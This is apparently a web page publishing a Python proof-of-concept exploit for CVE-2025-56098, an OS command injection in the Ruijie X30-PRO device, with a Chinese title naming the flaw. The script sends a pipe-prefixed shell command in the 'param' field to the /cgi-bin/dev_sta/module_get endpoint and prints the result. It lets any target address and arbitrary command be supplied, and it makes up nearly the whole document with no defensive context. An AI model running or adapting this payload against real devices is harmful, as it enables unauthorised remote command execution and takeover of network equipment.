CVE-2025-56098 Ruijie X30-PRO 操作系统命令注入漏洞

import requests import sys # CVE-2025-56098 PoC - Ruijie X30-PRO OS Command Injection # Target: Ruijie X30-PRO device # Vulnerability: OS Command Injection in module_get via networkConnect.lua def exploit_cve_2025_56098(target_ip, target_port=80, command='whoami'): """ Exploit OS Command Injection in Ruijie X30-PRO Args: target_ip: Target device IP address target_port: Target device port (default: 80) command: OS command to execute Returns: Response from the vulnerable endpoint """ url = f'http://{target_ip}:{target_port}/cgi-bin/dev_sta/module_get' # Inject OS command using pipe or semicolon separator payload = f'|{command}' data = { 'module': 'networkConnect', 'param': payload } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: print(f'[*] Targeting {target_ip}:{target_port}') print(f'[*] Executing command: {command}') response = requests.post(url, data=data, headers=headers, timeout=10) print(f'[+] Response Status: {response.status_code}') print(f'[+] Response:\n{response.text}') return response except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') return None if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_ip> [command]') print(f'Example: python {sys.argv[0]} 192.168.1.1 whoami') sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] if len(sys.argv) > 2 else 'whoami' exploit_cve_2025_56098(target, 80, cmd)